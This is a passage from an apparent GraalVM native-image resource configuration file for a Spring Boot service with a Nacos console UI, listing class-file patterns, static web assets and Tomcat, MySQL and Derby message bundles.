}, {\n    \"pattern\":\"\\\\Qorg/springframework/http/converter/json/Jackson2ObjectMapperBuilder.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/http/converter/json/MappingJackson2HttpMessageConverter.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/jdbc/core/JdbcTemplate.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/jdbc/core/namedparam/NamedParameterJdbcTemplate.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/jdbc/core/simple/DefaultJdbcClient.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/jdbc/core/simple/JdbcClient.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/jdbc/datasource/DataSourceTransactionManager.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/jdbc/support/JdbcAccessor.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/jdbc/support/JdbcTransactionManager.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/jmx/export/MBeanExporter.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/jmx/export/annotation/AnnotationMBeanExporter.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/jmx/export/naming/MetadataNamingStrategy.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/jmx/support/MBeanRegistrationSupport.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/ldap/core/support/AbstractContextSource.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/ldap/core/support/LdapContextSource.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/scheduling/SchedulingTaskExecutor.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/scheduling/TaskScheduler.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/scheduling/annotation/EnableScheduling.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/scheduling/annotation/ScheduledAnnotationBeanPostProcessor.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/scheduling/annotation/SchedulingConfiguration.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/scheduling/annotation/SchedulingConfigurer.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/scheduling/concurrent/CustomizableThreadFactory.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/scheduling/concurrent/ExecutorConfigurationSupport.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/scheduling/concurrent/ThreadPoolTaskExecutor.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/scheduling/concurrent/ThreadPoolTaskScheduler.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/security/access/expression/SecurityExpressionHandler.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/security/authentication/AnonymousAuthenticationProvider.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/security/authentication/AuthenticationManager.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/security/authentication/AuthenticationProvider.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/security/authentication/DefaultAuthenticationEventPublisher.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/security/authentication/ProviderManager.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/security/authentication/dao/AbstractUserDetailsAuthenticationProvider.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/security/authentication/dao/DaoAuthenticationProvider.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/security/authorization/method/AuthorizationAdvisorProxyFactory.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/security/authorization/method/AuthorizeReturnObjectMethodInterceptor.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/security/config/annotation/AbstractConfiguredSecurityBuilder.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/security/config/annotation/AbstractSecurityBuilder.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/security/config/annotation/ObjectPostProcessor.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/security/config/annotation/authentication/builders/AuthenticationManagerBuilder.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/security/config/annotation/authentication/configuration/AuthenticationConfiguration$AuthenticationManagerDelegator.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/security/config/annotation/authentication/configuration/AuthenticationConfiguration$DefaultPasswordEncoderAuthenticationManagerBuilder.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/security/config/annotation/authentication/configuration/AuthenticationConfiguration$EnableGlobalAuthenticationAutowiredConfigurer.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/security/config/annotation/authentication/configuration/AuthenticationConfiguration$LazyPasswordEncoder.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/security/config/annotation/authentication/configuration/AuthenticationConfiguration.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/security/config/annotation/authentication/configuration/EnableGlobalAuthentication.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/security/config/annotation/authentication/configuration/GlobalAuthenticationConfigurerAdapter.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/security/config/annotation/authentication/configuration/InitializeAuthenticationProviderBeanManagerConfigurer.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/security/config/annotation/authentication/configuration/InitializeUserDetailsBeanManagerConfigurer.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/security/config/annotation/configuration/AutowireBeanFactoryObjectPostProcessor.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/security/config/annotation/configuration/ObjectPostProcessorConfiguration.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/security/config/annotation/method/configuration/AuthorizationProxyConfiguration.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/security/config/annotation/method/configuration/EnableMethodSecurity.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/security/config/annotation/method/configuration/MethodSecurityAdvisorRegistrar.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/security/config/annotation/method/configuration/MethodSecuritySelector.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/security/config/annotation/method/configuration/PrePostMethodSecurityConfiguration$DeferringMethodInterceptor.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/security/config/annotation/method/configuration/PrePostMethodSecurityConfiguration.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/security/config/annotation/web/builders/HttpSecurity.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/security/config/annotation/web/builders/WebSecurity.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/security/config/annotation/web/configuration/EnableWebSecurity.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/security/config/annotation/web/configuration/HttpSecurityConfiguration$DefaultPasswordEncoderAuthenticationManagerBuilder.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/security/config/annotation/web/configuration/HttpSecurityConfiguration$LazyPasswordEncoder.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/security/config/annotation/web/configuration/HttpSecurityConfiguration.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/security/config/annotation/web/configuration/OAuth2ImportSelector.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/security/config/annotation/web/configuration/SpringWebMvcImportSelector.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/security/config/annotation/web/configuration/WebMvcSecurityConfiguration$1.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/security/config/annotation/web/configuration/WebMvcSecurityConfiguration$CompositeFilterChainProxy.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/security/config/annotation/web/configuration/WebMvcSecurityConfiguration$HandlerMappingIntrospectorCacheFilterFactoryBean.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/security/config/annotation/web/configuration/WebMvcSecurityConfiguration.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/security/config/annotation/web/configuration/WebSecurityConfiguration$AnnotationAwareOrderComparator.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/security/config/annotation/web/configuration/WebSecurityConfiguration.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/security/config/annotation/web/configuration/WebSecurityCustomizer.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/security/config/crypto/RsaKeyConversionServicePostProcessor.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/security/context/DelegatingApplicationListener.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/security/core/userdetails/UserDetailsService.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/security/crypto/bcrypt/BCryptPasswordEncoder.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/security/crypto/password/PasswordEncoder.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/security/web/AuthenticationEntryPoint.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/security/web/DefaultSecurityFilterChain.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/security/web/FilterChainProxy.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/security/web/SecurityFilterChain.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/security/web/access/AuthorizationManagerWebInvocationPrivilegeEvaluator$HttpServletRequestTransformer.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/security/web/access/ExceptionTranslationFilter.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/security/web/access/HandlerMappingIntrospectorRequestTransformer.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/security/web/access/RequestMatcherDelegatingWebInvocationPrivilegeEvaluator.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/security/web/access/WebInvocationPrivilegeEvaluator.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/security/web/authentication/logout/LogoutFilter.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/security/web/authentication/logout/LogoutSuccessEventPublishingLogoutHandler.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/security/web/authentication/session/AbstractSessionFixationProtectionStrategy.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/security/web/authentication/session/ChangeSessionIdAuthenticationStrategy.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/security/web/authentication/session/CompositeSessionAuthenticationStrategy.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/security/web/context/SecurityContextHolderFilter.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/security/web/csrf/CsrfFilter.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/security/web/header/HeaderWriterFilter.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/security/web/savedrequest/RequestCacheAwareFilter.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/security/web/servlet/support/csrf/CsrfRequestDataValueProcessor.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/security/web/servlet/util/matcher/MvcRequestMatcher.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/security/web/servletapi/SecurityContextHolderAwareRequestFilter.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/transaction/ConfigurableTransactionManager.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/transaction/TransactionDefinition.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/transaction/annotation/AbstractTransactionManagementConfiguration.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/transaction/annotation/AnnotationTransactionAttributeSource.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/transaction/annotation/EnableTransactionManagement.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/transaction/annotation/ProxyTransactionManagementConfiguration.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/transaction/annotation/RestrictedTransactionalEventListenerFactory.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/transaction/annotation/TransactionManagementConfigurationSelector.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/transaction/event/TransactionalEventListenerFactory.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/transaction/interceptor/AbstractFallbackTransactionAttributeSource.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/transaction/interceptor/BeanFactoryTransactionAttributeSourceAdvisor.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/transaction/interceptor/TransactionAspectSupport.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/transaction/interceptor/TransactionInterceptor.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/transaction/support/AbstractPlatformTransactionManager.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/transaction/support/DefaultTransactionDefinition.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/transaction/support/TransactionOperations.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/transaction/support/TransactionTemplate.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/util/AntPathMatcher.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/util/CustomizableThreadCreator.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/util/PathMatcher.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/validation/Validator.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/web/accept/ContentNegotiationManager.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/web/bind/annotation/ControllerAdvice.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/web/bind/annotation/Mapping.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/web/bind/annotation/PostMapping.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/web/bind/annotation/RequestMapping.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/web/bind/annotation/ResponseBody.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/web/bind/annotation/RestController.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/web/client/RestClient$Builder.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/web/context/ServletContextAware.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/web/context/support/WebApplicationObjectSupport.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/web/filter/CharacterEncodingFilter.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/web/filter/CorsFilter.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/web/filter/FormContentFilter.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/web/filter/GenericFilterBean.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/web/filter/OncePerRequestFilter.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/web/filter/RequestContextFilter.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/web/method/support/CompositeUriComponentsContributor.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/web/multipart/support/StandardServletMultipartResolver.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/web/servlet/DispatcherServlet.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/web/servlet/FlashMapManager.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/web/servlet/FrameworkServlet.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/web/servlet/HandlerExceptionResolver.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/web/servlet/HandlerMapping.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/web/servlet/HttpServletBean.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/web/servlet/LocaleResolver.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/web/servlet/RequestToViewNameTranslator.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/web/servlet/ThemeResolver.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/web/servlet/View.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/web/servlet/ViewResolver.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/web/servlet/config/annotation/DelegatingWebMvcConfiguration.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/web/servlet/config/annotation/WebMvcConfigurationSupport$NoOpValidator.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/web/servlet/config/annotation/WebMvcConfigurationSupport.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/web/servlet/config/annotation/WebMvcConfigurer.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/web/servlet/function/support/HandlerFunctionAdapter.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/web/servlet/function/support/RouterFunctionMapping.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/web/servlet/handler/AbstractDetectingUrlHandlerMapping.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/web/servlet/handler/AbstractHandlerMapping.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/web/servlet/handler/AbstractHandlerMethodMapping.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/web/servlet/handler/AbstractUrlHandlerMapping.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/web/servlet/handler/BeanNameUrlHandlerMapping.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/web/servlet/handler/HandlerExceptionResolverComposite.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/web/servlet/handler/HandlerMappingIntrospector.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/web/servlet/handler/MatchableHandlerMapping.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/web/servlet/handler/SimpleUrlHandlerMapping.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/web/servlet/i18n/AbstractLocaleResolver.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/web/servlet/i18n/AcceptHeaderLocaleResolver.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/web/servlet/mvc/HttpRequestHandlerAdapter.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/web/servlet/mvc/SimpleControllerHandlerAdapter.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/web/servlet/mvc/method/AbstractHandlerMethodAdapter.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/web/servlet/mvc/method/RequestMappingInfoHandlerMapping.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/web/servlet/mvc/method/annotation/RequestMappingHandlerAdapter.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/web/servlet/mvc/method/annotation/RequestMappingHandlerMapping.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/web/servlet/resource/ResourceUrlProvider.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/web/servlet/support/AbstractFlashMapManager.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/web/servlet/support/RequestDataValueProcessor.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/web/servlet/support/SessionFlashMapManager.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/web/servlet/support/WebContentGenerator.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/web/servlet/theme/AbstractThemeResolver.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/web/servlet/theme/FixedThemeResolver.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/web/servlet/view/AbstractCachingViewResolver.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/web/servlet/view/AbstractUrlBasedView.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/web/servlet/view/AbstractView.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/web/servlet/view/BeanNameViewResolver.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/web/servlet/view/ContentNegotiatingViewResolver.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/web/servlet/view/DefaultRequestToViewNameTranslator.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/web/servlet/view/InternalResourceView.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/web/servlet/view/InternalResourceViewResolver.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/web/servlet/view/UrlBasedViewResolver.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/web/servlet/view/ViewResolverComposite.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/web/util/HtmlCharacterEntityReferences.properties\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/web/util/UrlPathHelper.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qorg/springframework/web/util/pattern/PathPatternParser.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qraft.desc\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qstatic/\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qstatic/console-ui/public/css/bootstrap.css\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qstatic/console-ui/public/css/codemirror.css\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qstatic/console-ui/public/css/console1412.css\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qstatic/console-ui/public/css/font-awesome.css\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qstatic/console-ui/public/css/icon.css\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qstatic/console-ui/public/css/merge.css\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qstatic/console-ui/public/fonts/font_1533967_slipq25tezj.woff2\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qstatic/console-ui/public/fonts/roboto-bold.woff2\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qstatic/console-ui/public/fonts/roboto-medium.woff2\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qstatic/console-ui/public/fonts/roboto-regular.woff2\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qstatic/console-ui/public/img/nacos-logo.png\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qstatic/console-ui/public/js/codemirror.addone.fullscreen.js\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qstatic/console-ui/public/js/codemirror.addone.json-lint.js\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qstatic/console-ui/public/js/codemirror.addone.lint.js\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qstatic/console-ui/public/js/codemirror.js\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qstatic/console-ui/public/js/codemirror.lib.clike-lint.js\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qstatic/console-ui/public/js/codemirror.lib.json-lint.js\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qstatic/console-ui/public/js/diff_match_patch.js\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qstatic/console-ui/public/js/javascript.js\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qstatic/console-ui/public/js/jquery.js\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qstatic/console-ui/public/js/loader.js\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qstatic/console-ui/public/js/merge.js\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qstatic/console-ui/public/js/vs/base/worker/workerMain.js\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qstatic/console-ui/public/js/vs/editor/editor.main.css\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qstatic/console-ui/public/js/vs/editor/editor.main.js\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qstatic/console-ui/public/js/vs/editor/editor.main.nls.zh-cn.js\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qstatic/console-ui/public/js/xml.js\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qstatic/css/main.css\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qstatic/img/logo-2000-390.svg\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qstatic/index.html\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qstatic/js/main.js\\\\E\"\n  }, {\n    \"pattern\":\"java.base:\\\\Qjava/lang/Iterable.class\\\\E\"\n  }, {\n    \"pattern\":\"java.base:\\\\Qjava/lang/Object.class\\\\E\"\n  }, {\n    \"pattern\":\"java.base:\\\\Qjava/util/function/BiPredicate.class\\\\E\"\n  }, {\n    \"pattern\":\"java.base:\\\\Qjdk/internal/icu/impl/data/icudt67b/nfc.nrm\\\\E\"\n  }, {\n    \"pattern\":\"java.management:\\\\Qcom/sun/jmx/mbeanserver/JmxMBeanServer.class\\\\E\"\n  }, {\n    \"pattern\":\"java.sql:\\\\Qjavax/sql/CommonDataSource.class\\\\E\"\n  }, {\n    \"pattern\":\"java.sql:\\\\Qjavax/sql/DataSource.class\\\\E\"\n  }, {\n    \"pattern\":\"static/.*\"\n  }]},\n  \"bundles\":[{\n    \"name\":\"com.mysql.cj.LocalizedErrorMessages\",\n    \"locales\":[\"und\"]\n  }, {\n    \"name\":\"jakarta.servlet.LocalStrings\",\n    \"locales\":[\"und\"]\n  }, {\n    \"name\":\"jakarta.servlet.http.LocalStrings\",\n    \"locales\":[\"und\"]\n  }, {\n    \"name\":\"org.apache.catalina.authenticator.LocalStrings\",\n    \"locales\":[\"\", \"und\"]\n  }, {\n    \"name\":\"org.apache.catalina.authenticator.jaspic.LocalStrings\",\n    \"locales\":[\"und\"]\n  }, {\n    \"name\":\"org.apache.catalina.connector.LocalStrings\",\n    \"locales\":[\"und\"]\n  }, {\n    \"name\":\"org.apache.catalina.core.LocalStrings\",\n    \"locales\":[\"und\"]\n  }, {\n    \"name\":\"org.apache.catalina.deploy.LocalStrings\",\n    \"locales\":[\"und\"]\n  }, {\n    \"name\":\"org.apache.catalina.loader.LocalStrings\",\n    \"locales\":[\"und\"]\n  }, {\n    \"name\":\"org.apache.catalina.mapper.LocalStrings\",\n    \"locales\":[\"und\"]\n  }, {\n    \"name\":\"org.apache.catalina.mbeans.LocalStrings\",\n    \"locales\":[\"und\"]\n  }, {\n    \"name\":\"org.apache.catalina.realm.LocalStrings\",\n    \"locales\":[\"und\"]\n  }, {\n    \"name\":\"org.apache.catalina.security.LocalStrings\",\n    \"locales\":[\"und\"]\n  }, {\n    \"name\":\"org.apache.catalina.session.LocalStrings\",\n    \"locales\":[\"und\"]\n  }, {\n    \"name\":\"org.apache.catalina.startup.LocalStrings\",\n    \"locales\":[\"und\"]\n  }, {\n    \"name\":\"org.apache.catalina.util.LocalStrings\",\n    \"locales\":[\"\", \"und\"]\n  }, {\n    \"name\":\"org.apache.catalina.valves.LocalStrings\",\n    \"locales\":[\"\", \"und\"]\n  }, {\n    \"name\":\"org.apache.catalina.webresources.LocalStrings\",\n    \"locales\":[\"und\"]\n  }, {\n    \"name\":\"org.apache.coyote.LocalStrings\",\n    \"locales\":[\"und\"]\n  }, {\n    \"name\":\"org.apache.coyote.http11.LocalStrings\",\n    \"locales\":[\"und\"]\n  }, {\n    \"name\":\"org.apache.coyote.http11.filters.LocalStrings\",\n    \"locales\":[\"und\"]\n  }, {\n    \"name\":\"org.apache.derby.loc.m0\",\n    \"locales\":[\"en\"]\n  }, {\n    